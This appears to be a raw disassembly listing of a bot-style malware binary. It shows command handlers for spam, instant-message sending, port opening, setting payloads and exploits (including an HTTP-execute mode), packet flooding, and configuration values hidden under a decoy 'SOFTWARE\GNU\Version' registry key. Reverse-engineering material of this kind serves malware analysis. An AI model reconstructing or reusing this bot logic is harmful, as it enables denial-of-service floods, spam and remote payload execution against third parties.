		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F5AF
		mov	ecx, [eax+8]
		cmp	dword ptr [ecx+8], 1
		jnz	short locret_40F5AF
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+4]
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_401236
		add	esp, 0Ch

locret_40F5AF:				; CODE XREF: sub_40F578+Dj
					; sub_40F578+16j ...
		retn	4
sub_40F578	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5B2	proc near		; CODE XREF: sub_411377+ABBp
		push	esi
		push	2
		mov	esi, eax
		push	offset aSpam	; "Spam"
		call	sub_413800
		mov	dword ptr [esi], offset	nullsub_2
		mov	eax, esi
		pop	esi
		retn
sub_40F5B2	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F5F2
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 1
		jnz	short locret_40F5F2
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_4017D5
		pop	ecx
		pop	ecx

locret_40F5F2:				; CODE XREF: .text:0040F5D8j
					; .text:0040F5E1j
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40F5F5	proc near		; CODE XREF: sub_411377+AE8p
		push	esi
		push	3
		mov	esi, eax
		push	offset aSendim	; "SendIM"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430808
		mov	eax, esi
		pop	esi
		retn
sub_40F5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F60E	proc near		; DATA XREF: .text:off_430808o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F645
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F645
		mov	ecx, [eax+8]
		cmp	dword ptr [ecx+8], 1
		jnz	short locret_40F645
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+4]
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_4095D4
		add	esp, 0Ch

locret_40F645:				; CODE XREF: sub_40F60E+Dj
					; sub_40F60E+16j ...
		retn	4
sub_40F60E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F648	proc near		; CODE XREF: sub_411377+B1Ep
		push	esi
		push	2
		mov	esi, eax
		push	offset aSpam	; "Spam"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307E8
		mov	eax, esi
		pop	esi
		retn
sub_40F648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F661	proc near		; DATA XREF: .text:off_4307E8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F688
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 1
		jnz	short locret_40F688
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_4099C8
		pop	ecx
		pop	ecx

locret_40F688:				; CODE XREF: sub_40F661+Dj
					; sub_40F661+16j
		retn	4
sub_40F661	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F68B	proc near		; CODE XREF: sub_411377+B4Bp
		push	esi
		push	4
		mov	esi, eax
		push	offset aStart	; "Start"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307D0
		mov	eax, esi
		pop	esi
		retn
sub_40F68B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6A4	proc near		; DATA XREF: .text:off_4307D0o

var_78		= byte ptr -78h
var_20		= byte ptr -20h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [esi+4]
		mov	eax, [edi]
		cmp	dword ptr [eax+8], 1
		jnz	loc_40F78E
		mov	eax, [edi+4]
		cmp	dword ptr [eax+8], 3
		jnz	loc_40F78E
		mov	eax, [edi+8]
		cmp	dword ptr [eax+8], 3
		jnz	loc_40F78E
		push	ebx
		lea	eax, [ebp+var_78]
		call	sub_417057
		mov	eax, [edi+4]
		push	dword ptr [eax+10h]
		call	sub_41C350
		mov	ecx, [edi+4]
		push	dword ptr [ecx+10h]
		mov	ebx, eax
		lea	eax, [ebp+var_78]
		call	sub_41707B
		lea	eax, [ebp+var_20]
		push	eax
		lea	edi, [ebp+var_78]
		call	sub_417107
		lea	eax, [ebp+var_78]
		call	sub_417057
		mov	edi, [esi+4]
		mov	eax, [edi+8]
		push	dword ptr [eax+10h]
		call	sub_41C350
		mov	ecx, [edi+8]
		push	dword ptr [ecx+10h]
		mov	ebx, eax
		lea	eax, [ebp+var_78]
		call	sub_41707B
		lea	eax, [ebp+var_10]
		push	eax
		lea	edi, [ebp+var_78]
		call	sub_417107
		push	5A8h
		call	sub_41BA91
		add	esp, 1Ch
		test	eax, eax
		pop	ebx
		jz	short loc_40F767
		mov	ecx, [esi+4]
		mov	ecx, [ecx]
		movzx	ecx, word ptr [ecx+10h]
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_20]
		push	edx
		push	ecx
		push	3
		mov	edi, eax
		call	sub_40C6A4

loc_40F767:				; CODE XREF: sub_40F6A4+A6j
		mov	esi, [esi+4]
		mov	eax, [esi+0Ch]
		mov	ecx, [eax+10h]
		or	ecx, [eax+14h]
		jz	short loc_40F78E
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [esi]
		movzx	eax, word ptr [eax+10h]
		push	eax
		push	3
		call	sub_404B8D
		add	esp, 10h

loc_40F78E:				; CODE XREF: sub_40F6A4+14j
					; sub_40F6A4+21j ...
		pop	edi
		pop	esi
		leave
		retn	4
sub_40F6A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F794	proc near		; CODE XREF: sub_411377+B77p
		push	esi
		push	1
		mov	esi, eax
		push	offset aOpenport ; "OpenPort"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307A8
		mov	eax, esi
		pop	esi
		retn
sub_40F794	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7AD	proc near		; DATA XREF: .text:off_4307A8o
		mov	eax, offset loc_427F52
		call	sub_41E550
		push	ecx
		push	ecx
		push	edi
		mov	edi, [ebp+8]
		mov	eax, [edi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_40F811
		push	esi
		lea	esi, [ebp-14h]
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		mov	eax, [edi+4]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+10h]
		mov	esi, offset aNull_1 ; "null"
		push	esi
		push	6
		push	eax
		lea	eax, [ebp-14h]
		call	sub_405EF4
		mov	edi, [edi+4]
		mov	eax, [edi]
		movzx	eax, word ptr [eax+10h]
		push	esi
		push	11h
		push	eax
		lea	eax, [ebp-14h]
		call	sub_405EF4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-14h]
		call	sub_405EDB
		pop	esi

loc_40F811:				; CODE XREF: sub_40F7AD+19j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F7AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F820	proc near		; CODE XREF: sub_411377+C33p
		push	esi
		push	1
		mov	esi, eax
		push	offset aStart	; "Start"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430824
		mov	eax, esi
		pop	esi
		retn
sub_40F820	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F839	proc near		; DATA XREF: .text:off_430824o
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_40F8A2
		mov	edx, ds:dword_438114
		test	edx, edx
		jnz	short loc_40F88B
		push	48h
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40F881
		mov	eax, [esi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		push	dword ptr [ebp+8]
		call	sub_40E4C6
		jmp	short loc_40F883
; ---------------------------------------------------------------------------

loc_40F881:				; CODE XREF: sub_40F839+34j
		xor	eax, eax

loc_40F883:				; CODE XREF: sub_40F839+46j
		mov	edx, eax
		mov	ds:dword_438114, edx

loc_40F88B:				; CODE XREF: sub_40F839+21j
		mov	esi, [esi+4]
		mov	eax, [esi]
		mov	ecx, [eax+10h]
		push	edx
		call	sub_40E5D7
		push	dword ptr [edx+10h]
		call	ds:dword_42910C	; SetEvent

loc_40F8A2:				; CODE XREF: sub_40F839+17j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F839	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F8B1	proc near		; CODE XREF: sub_411377+C69p
		push	esi
		push	0
		mov	esi, eax
		push	offset aPause	; "Pause"
		call	sub_413800
		mov	dword ptr [esi], offset	nullsub_1
		mov	eax, esi
		pop	esi
		retn
sub_40F8B1	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:dword_438114
		test	eax, eax
		jz	short locret_40F8DC
		push	dword ptr [eax+10h]
		call	ds:dword_429114	; ResetEvent

locret_40F8DC:				; CODE XREF: .text:0040F8D1j
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40F8DF	proc near		; CODE XREF: sub_411377+C96p
		push	esi
		push	2
		mov	esi, eax
		push	offset aSetpayload ; "SetPayload"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307EC
		mov	eax, esi
		pop	esi
		retn
sub_40F8DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F8F8	proc near		; DATA XREF: .text:off_4307ECo
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40F981
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40F981
		mov	eax, [eax]
		push	edi
		push	offset aHttpexec ; "HTTPEXEC"
		push	dword ptr [eax+10h]
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40F95C
		push	8
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		xor	eax, eax
		mov	[ebp-4], eax
		cmp	[ebp+8], eax
		jz	short loc_40F958
		mov	eax, [esi+4]
		add	eax, 4
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		push	dword ptr [ebp+8]
		call	sub_40C5E6

loc_40F958:				; CODE XREF: sub_40F8F8+4Bj
		mov	edi, eax
		jmp	short loc_40F976
; ---------------------------------------------------------------------------

loc_40F95C:				; CODE XREF: sub_40F8F8+36j
		mov	esi, [esi+4]
		mov	eax, [esi]
		push	offset aNone	; "NONE"
		push	dword ptr [eax+10h]
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40F980
		xor	edi, edi

loc_40F976:				; CODE XREF: sub_40F8F8+62j
		mov	eax, offset dword_43819C
		call	sub_40E415

loc_40F980:				; CODE XREF: sub_40F8F8+7Aj
		pop	edi

loc_40F981:				; CODE XREF: sub_40F8F8+17j
					; sub_40F8F8+20j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F8F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F990	proc near		; CODE XREF: sub_411377+CC3p
		push	esi
		push	1
		mov	esi, eax
		push	offset aSetexploit ; "SetExploit"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307C8
		mov	eax, esi
		pop	esi
		retn
sub_40F990	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9A9	proc near		; DATA XREF: .text:off_4307C8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40F9E3
		mov	eax, ecx
		push	offset aNone	; "NONE"
		push	dword ptr [eax+10h]
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40F9D1
		push	eax
		jmp	short loc_40F9D9
; ---------------------------------------------------------------------------

loc_40F9D1:				; CODE XREF: sub_40F9A9+23j
		mov	eax, [esi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]

loc_40F9D9:				; CODE XREF: sub_40F9A9+26j
		mov	esi, offset dword_43819C
		call	sub_40E387

loc_40F9E3:				; CODE XREF: sub_40F9A9+Ej
		pop	esi
		retn	4
sub_40F9A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9E7	proc near		; CODE XREF: sub_411377+BA3p
		push	esi
		push	1
		mov	esi, eax
		push	offset aAdd	; "Add"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307B4
		mov	eax, esi
		pop	esi
		retn
sub_40F9E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA00	proc near		; DATA XREF: .text:off_4307B4o
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		jnz	short loc_40FA79
		cmp	ds:dword_438114, 0
		jnz	short loc_40FA66
		push	48h
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40FA3F
		push	0
		push	eax
		call	sub_40E4C6
		jmp	short loc_40FA41
; ---------------------------------------------------------------------------

loc_40FA3F:				; CODE XREF: sub_40FA00+33j
		xor	eax, eax

loc_40FA41:				; CODE XREF: sub_40FA00+3Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1388h
		push	dword ptr [eax+0Ch]
		mov	ds:dword_438114, eax
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_438114
		push	dword ptr [eax+10h]
		call	ds:dword_429114	; ResetEvent

loc_40FA66:				; CODE XREF: sub_40FA00+20j
		mov	eax, [esi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		mov	esi, ds:dword_438114
		call	sub_40E577

loc_40FA79:				; CODE XREF: sub_40FA00+17j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40FA00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA88	proc near		; CODE XREF: sub_411377+BD9p
		push	esi
		push	0
		mov	esi, eax
		push	offset aClear	; "Clear"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430798
		mov	eax, esi
		pop	esi
		retn
sub_40FA88	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAA1	proc near		; DATA XREF: .text:off_430798o
		push	edi
		mov	edi, ds:dword_438114
		test	edi, edi
		jz	short loc_40FAB1
		call	sub_40E5B8

loc_40FAB1:				; CODE XREF: sub_40FAA1+9j
		pop	edi
		retn	4
sub_40FAA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAB5	proc near		; CODE XREF: sub_411377+C06p
		push	esi
		push	0
		mov	esi, eax
		push	offset aCurrent	; "Current"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430788
		mov	eax, esi
		pop	esi
		retn
sub_40FAB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FACE	proc near		; DATA XREF: .text:off_430788o

var_40		= byte ptr -40h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, ds:dword_438114
		test	eax, eax
		push	esi
		mov	esi, ecx
		jz	short loc_40FB10
		mov	ecx, [eax+18h]
		movzx	eax, word ptr [eax+1Ch]
		push	eax
		push	ecx
		call	ds:dword_429274	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_40]
		push	offset aSD	; "%s:%d"
		push	eax
		call	sub_41CA2D
		add	esp, 10h
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, [esi+108h]
		call	sub_40FE96

loc_40FB10:				; CODE XREF: sub_40FACE+10j
		pop	esi
		leave
		retn	4
sub_40FACE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB15	proc near		; CODE XREF: sub_411377+CF0p
		push	esi
		push	0
		mov	esi, eax
		push	offset aAbortall ; "AbortAll"
		call	sub_413800
		mov	dword ptr [esi], offset	off_43076C
		mov	eax, esi
		pop	esi
		retn
sub_40FB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB2E	proc near		; DATA XREF: .text:off_43076Co
		push	dword ptr [ecx+10Ch]
		mov	eax, offset dword_4381B8
		call	sub_41395A
		retn	4
sub_40FB2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB41	proc near		; CODE XREF: sub_411377+D1Cp
		push	esi
		push	3
		mov	esi, eax
		push	offset aFlood	; "Flood"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430758
		mov	eax, esi
		pop	esi
		retn
sub_40FB41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB5A	proc near		; DATA XREF: .text:off_430758o

var_584		= byte ptr -584h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 584h
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	loc_40FC27
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 1
		jnz	loc_40FC27
		mov	eax, [eax+8]
		cmp	dword ptr [eax+8], 1
		jnz	loc_40FC27
		push	ebx
		push	esi
		lea	esi, [ebp+var_584]
		call	sub_414878
		push	2
		pop	ecx
		mov	eax, esi
		call	sub_4148AA
		mov	eax, [edi+4]
		add	eax, 8
		mov	eax, [eax]
		mov	ebx, [eax+10h]
		mov	eax, 0FFFFh
		cmp	ebx, eax
		jbe	short loc_40FBBD
		mov	ebx, eax

loc_40FBBD:				; CODE XREF: sub_40FB5A+5Fj
		push	ebx
		call	sub_41BAB5
		xor	esi, esi
		test	ebx, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_40FBE6

loc_40FBCD:				; CODE XREF: sub_40FB5A+8Aj
		push	0FFh
		push	0
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, ebx
		jb	short loc_40FBCD

loc_40FBE6:				; CODE XREF: sub_40FB5A+71j
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		movzx	ecx, word ptr [ecx+10h]
		mov	eax, [eax]
		push	ecx
		push	dword ptr [eax+10h]
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+var_584]
		call	sub_41494C
		push	ebx
		mov	eax, esi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		mov	eax, edi
		call	sub_414CEA
		push	[ebp+arg_0]
		call	sub_41CA28
		pop	ecx
		push	3
		mov	eax, edi
		call	sub_414D44
		pop	esi
		pop	ebx

loc_40FC27:				; CODE XREF: sub_40FB5A+16j
					; sub_40FB5A+23j ...
		pop	edi
		leave
		retn	4
sub_40FB5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC2C	proc near		; CODE XREF: sub_411377+D48p
		push	esi
		push	2
		mov	esi, eax
		push	offset aFlood	; "Flood"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430770
		mov	eax, esi
		pop	esi
		retn
sub_40FC2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC45	proc near		; DATA XREF: .text:off_430770o

var_574		= byte ptr -574h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 574h
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40FCA6
		mov	eax, [eax+4]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_40FCA6
		push	esi
		lea	esi, [ebp+var_574]
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		xor	eax, eax
		inc	eax
		mov	ecx, esi
		call	sub_4149DD
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		mov	ax, [ecx+10h]
		mov	ecx, esi
		call	sub_414A81
		push	3
		mov	eax, esi
		call	sub_414D44
		pop	esi

loc_40FCA6:				; CODE XREF: sub_40FC45+16j
					; sub_40FC45+1Fj
		pop	edi
		leave
		retn	4
sub_40FC45	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCAB	proc near		; CODE XREF: sub_411377+D74p
		push	esi
		push	2
		mov	esi, eax
		push	offset aSet	; "Set"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430754
		mov	eax, esi
		pop	esi
		retn
sub_40FCAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCC4	proc near		; DATA XREF: .text:off_430754o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40FD12
		push	esi
		mov	esi, [eax+4]
		call	sub_40FEFE
		push	offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version"
		push	80000001h
		lea	esi, [ebp+var_C]
		call	sub_40D8DC
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		mov	eax, esi
		push	eax
		call	sub_40D9DE
		mov	eax, esi
		call	sub_40D8F7
		pop	esi

loc_40FD12:				; CODE XREF: sub_40FCC4+13j
		pop	edi
		leave
		retn	4
sub_40FCC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD17	proc near		; CODE XREF: sub_411377+DAAp
		push	esi
		push	1
		mov	esi, eax
		push	offset aGet_0	; "Get"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430818
		mov	eax, esi
		pop	esi
		retn
sub_40FD17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD30	proc near		; DATA XREF: .text:off_430818o
		mov	eax, offset loc_4279E5
		call	sub_41E550
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	edi, [ebp+8]
		mov	eax, [edi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		mov	ebx, ecx
		jnz	short loc_40FD87
		push	esi
		push	offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version"
		push	80000001h
		lea	esi, [ebp-18h]
		call	sub_40D8DC
		and	dword ptr [ebp-4], 0
		mov	eax, [edi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_40DA05
		push	eax
		mov	eax, [ebx+108h]
		call	sub_40FE96
		mov	eax, esi
		call	sub_40D8F7
		pop	esi

loc_40FD87:				; CODE XREF: sub_40FD30+1Dj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40FD30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD97	proc near		; CODE XREF: sub_411377+DD7p
		push	esi
		push	1
		mov	esi, eax
		push	offset aIsset	; "IsSet"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430804
		mov	eax, esi
		pop	esi
		retn
sub_40FD97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDB0	proc near		; DATA XREF: .text:off_430804o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		push	edi
		mov	edi, ecx
		jnz	short loc_40FE18
		push	esi
		push	offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version"
		push	80000001h
		lea	esi, [ebp+var_C]
		call	sub_40D8DC
		mov	ebx, [ebx+4]
		mov	eax, [ebx]
		push	dword ptr [eax+10h]
		mov	eax, esi
		push	eax
		call	sub_40D93E
		test	eax, eax
		mov	eax, [edi+108h]
		pop	esi
		jz	short loc_40FE01
		xor	ecx, ecx
		inc	ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx
		jmp	short loc_40FE0C
; ---------------------------------------------------------------------------

loc_40FE01:				; CODE XREF: sub_40FDB0+44j
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax+8], 1

loc_40FE0C:				; CODE XREF: sub_40FDB0+4Fj
		and	dword ptr [eax+14h], 0
		lea	eax, [ebp+var_C]
		call	sub_40D8F7

loc_40FE18:				; CODE XREF: sub_40FDB0+16j
		pop	edi
		pop	ebx
		leave
		retn	4
sub_40FDB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE1E	proc near		; CODE XREF: sub_411377+E04p
		push	esi
		push	1
		mov	esi, eax
		push	offset aClear	; "Clear"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307D4
		mov	eax, esi
		pop	esi
		retn
sub_40FE1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE37	proc near		; DATA XREF: .text:off_4307D4o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		jnz	short loc_40FE78
		push	esi
		push	offset aSoftwareGnuVer ; "SOFTWARE\\GNU\\Version"
		push	80000001h
		lea	esi, [ebp+var_C]
		call	sub_40D8DC
		mov	eax, [edi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		push	[ebp+var_C]
		call	ds:dword_429014	; RegDeleteValueA
		mov	eax, esi
		call	sub_40D8F7
		pop	esi

loc_40FE78:				; CODE XREF: sub_40FE37+13j
		pop	edi
		leave
		retn	4
sub_40FE37	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE7D	proc near		; CODE XREF: sub_41226A+47Ap
					; sub_41226A+54Bp ...
		cmp	dword ptr [esi+8], 3
		jnz	short locret_40FE95
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short locret_40FE95
		push	eax
		call	sub_41CA28
		and	dword ptr [esi+10h], 0
		pop	ecx

locret_40FE95:				; CODE XREF: sub_40FE7D+4j
					; sub_40FE7D+Bj
		retn
sub_40FE7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FE96	proc near		; CODE XREF: sub_40EDC7+24p
					; sub_40EE0E+Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, eax
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		call	sub_40FF67
		push	[esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C930
		pop	ecx
		pop	ecx
		mov	dword ptr [esi+8], 3
		pop	esi
		retn	4
sub_40FE96	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FEC3	proc near		; CODE XREF: sub_4104A3+3p
					; sub_4104A3+Ap ...
		mov	eax, [esi+8]
		cmp	eax, 3
		jnz	short loc_40FED6
		push	dword ptr [esi+10h]
		call	sub_41D59C
		pop	ecx
		jmp	short loc_40FEE3
; ---------------------------------------------------------------------------

loc_40FED6:				; CODE XREF: sub_40FEC3+6j
		cmp	eax, 2
		jnz	short loc_40FEEC
		fld	qword ptr [esi+10h]
		call	sub_427778

loc_40FEE3:				; CODE XREF: sub_40FEC3+11j
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		jmp	short loc_40FEF6
; ---------------------------------------------------------------------------

loc_40FEEC:				; CODE XREF: sub_40FEC3+16j
		test	eax, eax
		jnz	short locret_40FEFD
		and	[esi+10h], eax
		and	[esi+14h], eax

loc_40FEF6:				; CODE XREF: sub_40FEC3+27j
		mov	dword ptr [esi+8], 1

locret_40FEFD:				; CODE XREF: sub_40FEC3+2Bj
		retn
sub_40FEC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEFE	proc near		; CODE XREF: sub_40EC36+Bp
					; sub_40EC36+18p ...

var_30		= qword	ptr -30h
var_28		= byte ptr -28h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [esi+8]
		cmp	eax, 2
		jnz	short loc_40FF2B
		fld	qword ptr [esi+10h]
		and	dword ptr [esi+10h], 0
		push	ecx
		push	ecx
		fstp	[esp+30h+var_30]
		lea	eax, [ebp+var_28]
		push	offset dword_4308E4
		push	eax
		call	sub_41CA2D
		add	esp, 10h
		jmp	short loc_40FF4C
; ---------------------------------------------------------------------------

loc_40FF2B:				; CODE XREF: sub_40FEFE+Cj
		cmp	eax, 1
		jnz	short loc_40FF52
		mov	ecx, [esi+14h]
		mov	eax, [esi+10h]
		and	dword ptr [esi+10h], 0
		mov	[ebp+var_4], ecx
		push	0Ah
		lea	ecx, [ebp+var_28]
		push	ecx
		push	eax
		call	sub_421A02
		add	esp, 0Ch

loc_40FF4C:				; CODE XREF: sub_40FEFE+2Bj
		lea	eax, [ebp+var_28]
		push	eax
		jmp	short loc_40FF5E
